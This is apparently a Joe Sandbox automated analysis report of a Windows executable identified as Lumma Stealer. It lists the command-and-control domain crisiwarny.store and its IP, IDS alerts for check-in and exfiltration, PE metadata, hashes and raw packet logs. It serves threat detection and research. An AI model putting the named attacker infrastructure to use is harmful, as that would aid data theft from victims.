https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_35787f1071928bc3a1aef90b79c9bee9c64ba6683fde7477	file.exe, 00000000.00000003.2662059685.00000000009EB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://crisiwarny.store/	file.exe, file.exe, 00000000.00000003.2089995572.0000000000A39000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3341485133.0000000000A3C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3334498980.0000000000A3C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2677168084.0000000000A27000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.3334498980.00000000009F9000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2660217541.0000000000A21000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3342585795.0000000000A3C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.3342585795.00000000009FB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2677527532.0000000000A37000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org/products/firefoxgro.all	file.exe, 00000000.00000003.2661756651.000000000569A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/6	file.exe, 00000000.00000003.2660217541.0000000000A21000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	file.exe, 00000000.00000003.2090692694.00000000053AB000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090865387.00000000053A8000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2090766741.00000000053A8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://crisiwarny.store/r	file.exe, 00000000.00000003.2677168084.0000000000A27000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2677527532.0000000000A37000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
172.67.170.64	crisiwarny.store	United States		13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543563
Start date and time:	2024-10-28 06:26:11 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 55s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@1/0@2/1
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 3
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240s for sample files taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target file.exe, PID 6632 because there are no executed function
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:27:03	API Interceptor	4714488x Sleep call for process: file.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
172.67.170.64	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, XWorm	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC	Browse
	wo4POc0NG1.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
crisiwarny.store	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, XWorm	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	104.21.95.91

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	XWe8H4gRPb.exe	Get hash	malicious	Unknown	Browse	188.114.96.3
	z1RECONFIRMPAYMENTINVOICE.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	AWB#21138700102.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	z45paymentadvice.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.97.3
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC, Amadey, AsyncRAT, LummaC Stealer, Stealc, XWorm	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	SecuriteInfo.com.Win32.PWSX-gen.884.23076.exe	Get hash	malicious	LummaC	Browse	172.67.170.64
	file.exe	Get hash	malicious	LummaC	Browse	172.67.170.64

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.573092286677393
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	3'008'512 bytes
MD5:	0c381c2ec5177f64bed8da59eabe980c
SHA1:	8b75ce7c1cf0ec4fddb0f28ea04b233eb99efa76
SHA256:	e2bd2ba1f6d31950c1cb3da043adcfe1f90e67d2ceab30a420c61e7d4ca075c4
SHA512:	c9c8c6467c9ffd2fd7d2cc8c1fcabd4a16761e512ead461af2f840cc17d8f54f505f8ee2286b1a1db39d2b09318057fbb9d8dd43e734b60f524c226675182ae7
SSDEEP:	49152:3+21cDBfqwB6O25dVOjrs2SENsIZRz6eyOMb35T2:3+ycBfqwB6OuOjrvSExRzeOMbp2
TLSH:	A7D55BA2A504B2CFD49A17B8A927DDC7585D03F8472048C3ADADB57E7E73CC522B5C28
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...S..g.................J............1...........@..........................01.....T5....@.................................T...h..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x710000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x6715D353 [Mon Oct 21 04:06:43 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FAB25087E1Ah
shufps xmm5, dqword ptr [00000000h], 00h
jmp 00007FAB25089E15h
add byte ptr [ebx], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], bl
add byte ptr [eax+000000FEh], ah
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pop es
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 0Ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5a054	0x68	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x5a1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x58000	0x27e00	9578da70abdf2d8627311b5b66c9e94c	False	0.9979611579153606	data	7.9766605498847944	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x59000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x5a000	0x1000	0x200	555a11fa24a077379003c187d9c9d020	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
temxaqpj	0x5b000	0x2b4000	0x2b3200	45d1f7679aa1a7e3cef82bbef0bc35a4	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
msmffagn	0x30f000	0x1000	0x400	8b330022026f9b3eeab4280511647a2c	False	0.775390625	data	6.192074101368735	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x310000	0x3000	0x2200	c6511e104a51ed9bc6b1d0196fc78fff	False	0.05629595588235294	DOS executable (COM)	0.6960578772660327	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-28T06:27:05.997386+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.5	49704	172.67.170.64	443	TCP
2024-10-28T06:27:05.997386+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49704	172.67.170.64	443	TCP
2024-10-28T06:27:07.260031+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.5	49705	172.67.170.64	443	TCP
2024-10-28T06:27:07.260031+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.5	49705	172.67.170.64	443	TCP
2024-10-28T06:27:49.370948+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49706	172.67.170.64	443	TCP
2024-10-28T06:29:09.846637+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.5	49963	172.67.170.64	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 06:27:04.467287064 CET	49704	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:04.467353106 CET	443	49704	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:04.467442989 CET	49704	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:04.468600035 CET	49704	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:04.468630075 CET	443	49704	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:05.092971087 CET	443	49704	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:05.093087912 CET	49704	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:05.147614956 CET	49704	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:05.147633076 CET	443	49704	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:05.147948980 CET	443	49704	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:05.188767910 CET	49704	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:05.474987030 CET	49704	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:05.475007057 CET	49704	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:05.475143909 CET	443	49704	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:05.997405052 CET	443	49704	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:05.997502089 CET	443	49704	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:05.997704029 CET	49704	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:05.999201059 CET	49704	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:05.999217987 CET	443	49704	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:05.999232054 CET	49704	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:05.999237061 CET	443	49704	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:06.108692884 CET	49705	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:06.108758926 CET	443	49705	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:06.108836889 CET	49705	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:06.109189034 CET	49705	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:06.109201908 CET	443	49705	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:06.733407974 CET	443	49705	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:06.733479977 CET	49705	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:06.735297918 CET	49705	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:06.735321045 CET	443	49705	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:06.735586882 CET	443	49705	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:06.737525940 CET	49705	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:06.737555981 CET	49705	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:06.737608910 CET	443	49705	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:07.260087967 CET	443	49705	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:07.260262966 CET	443	49705	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:07.260334969 CET	443	49705	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:07.260346889 CET	49705	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:07.260380983 CET	443	49705	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:07.260425091 CET	49705	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:07.260433912 CET	443	49705	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:07.260498047 CET	443	49705	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:07.260541916 CET	49705	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:07.260549068 CET	443	49705	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:07.260631084 CET	443	49705	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:07.260674953 CET	49705	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:07.260680914 CET	443	49705	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:07.303401947 CET	49705	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:07.303436041 CET	443	49705	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:07.344996929 CET	49705	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:07.378245115 CET	443	49705	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:07.378328085 CET	443	49705	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:07.378354073 CET	443	49705	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:07.378379107 CET	49705	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:07.378396988 CET	443	49705	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:07.378442049 CET	49705	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:07.378448009 CET	443	49705	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:07.378472090 CET	443	49705	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:07.378509998 CET	49705	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:07.378650904 CET	49705	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:07.378667116 CET	443	49705	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:07.378683090 CET	49705	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:07.378689051 CET	443	49705	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:07.507802010 CET	49706	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:07.507844925 CET	443	49706	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:07.507920980 CET	49706	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:07.508199930 CET	49706	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:07.508213043 CET	443	49706	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:08.112019062 CET	443	49706	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:08.112097025 CET	49706	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:08.118521929 CET	49706	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:08.118534088 CET	443	49706	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:08.118890047 CET	443	49706	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:08.120162010 CET	49706	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:08.123013020 CET	49706	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:08.123059988 CET	443	49706	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:49.371072054 CET	443	49706	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:49.371253967 CET	443	49706	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:49.371332884 CET	49706	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:49.630266905 CET	49706	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:49.630285978 CET	443	49706	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:49.808197021 CET	49874	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:49.808216095 CET	443	49874	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:49.808284998 CET	49874	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:49.808607101 CET	49874	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:49.808618069 CET	443	49874	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:50.411813021 CET	443	49874	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:50.411911011 CET	49874	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:50.421439886 CET	49874	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:50.421458960 CET	443	49874	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:50.421783924 CET	443	49874	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:50.432266951 CET	49874	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:50.432416916 CET	49874	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:50.432446003 CET	443	49874	172.67.170.64	192.168.2.5
Oct 28, 2024 06:27:50.432514906 CET	49874	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:27:50.432519913 CET	443	49874	172.67.170.64	192.168.2.5
Oct 28, 2024 06:28:04.392151117 CET	49874	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:28:04.594032049 CET	49951	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:28:04.594118118 CET	443	49951	172.67.170.64	192.168.2.5
Oct 28, 2024 06:28:04.594225883 CET	49951	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:28:04.594547033 CET	49951	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:28:04.594582081 CET	443	49951	172.67.170.64	192.168.2.5
Oct 28, 2024 06:28:05.200525045 CET	443	49951	172.67.170.64	192.168.2.5
Oct 28, 2024 06:28:05.200783968 CET	49951	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:28:05.202025890 CET	49951	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:28:05.202053070 CET	443	49951	172.67.170.64	192.168.2.5
Oct 28, 2024 06:28:05.202275038 CET	443	49951	172.67.170.64	192.168.2.5
Oct 28, 2024 06:28:05.203465939 CET	49951	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:28:05.203619957 CET	49951	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:28:05.203672886 CET	443	49951	172.67.170.64	192.168.2.5
Oct 28, 2024 06:28:05.203747034 CET	49951	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:28:05.203763962 CET	443	49951	172.67.170.64	192.168.2.5
Oct 28, 2024 06:28:06.080513000 CET	49951	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:28:06.440999031 CET	49963	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:28:06.441035032 CET	443	49963	172.67.170.64	192.168.2.5
Oct 28, 2024 06:28:06.441092014 CET	49963	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:28:06.441526890 CET	49963	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:28:06.441544056 CET	443	49963	172.67.170.64	192.168.2.5
Oct 28, 2024 06:28:07.050348997 CET	443	49963	172.67.170.64	192.168.2.5
Oct 28, 2024 06:28:07.050476074 CET	49963	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:28:07.051923037 CET	49963	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:28:07.051933050 CET	443	49963	172.67.170.64	192.168.2.5
Oct 28, 2024 06:28:07.052268028 CET	443	49963	172.67.170.64	192.168.2.5
Oct 28, 2024 06:28:07.084227085 CET	49963	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:28:07.084227085 CET	49963	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:28:07.084265947 CET	443	49963	172.67.170.64	192.168.2.5
Oct 28, 2024 06:29:09.846725941 CET	443	49963	172.67.170.64	192.168.2.5
Oct 28, 2024 06:29:09.846908092 CET	443	49963	172.67.170.64	192.168.2.5
Oct 28, 2024 06:29:09.846971989 CET	49963	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:29:09.847158909 CET	49963	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:29:09.847179890 CET	443	49963	172.67.170.64	192.168.2.5
Oct 28, 2024 06:29:11.145904064 CET	49983	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:29:11.145965099 CET	443	49983	172.67.170.64	192.168.2.5
Oct 28, 2024 06:29:11.146064997 CET	49983	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:29:11.147258997 CET	49983	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:29:11.147277117 CET	443	49983	172.67.170.64	192.168.2.5
Oct 28, 2024 06:29:11.764993906 CET	443	49983	172.67.170.64	192.168.2.5
Oct 28, 2024 06:29:11.765064001 CET	49983	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:29:11.766856909 CET	49983	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:29:11.766875982 CET	443	49983	172.67.170.64	192.168.2.5
Oct 28, 2024 06:29:11.767646074 CET	443	49983	172.67.170.64	192.168.2.5
Oct 28, 2024 06:29:11.812967062 CET	49983	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:29:11.813060999 CET	443	49983	172.67.170.64	192.168.2.5
Oct 28, 2024 06:29:11.813110113 CET	49983	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:29:11.864514112 CET	49984	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:29:11.864557981 CET	443	49984	172.67.170.64	192.168.2.5
Oct 28, 2024 06:29:11.864619017 CET	49984	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:29:11.865020990 CET	49984	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:29:11.865036011 CET	443	49984	172.67.170.64	192.168.2.5
Oct 28, 2024 06:29:12.484114885 CET	443	49984	172.67.170.64	192.168.2.5
Oct 28, 2024 06:29:12.484200001 CET	49984	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:29:12.485585928 CET	49984	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:29:12.485605001 CET	443	49984	172.67.170.64	192.168.2.5
Oct 28, 2024 06:29:12.485934019 CET	443	49984	172.67.170.64	192.168.2.5
Oct 28, 2024 06:29:12.512952089 CET	49984	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:29:12.513037920 CET	443	49984	172.67.170.64	192.168.2.5
Oct 28, 2024 06:29:12.513200045 CET	443	49984	172.67.170.64	192.168.2.5
Oct 28, 2024 06:29:12.513228893 CET	49984	443	192.168.2.5	172.67.170.64
Oct 28, 2024 06:29:12.513340950 CET	49984	443	192.168.2.5	172.67.170.64

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
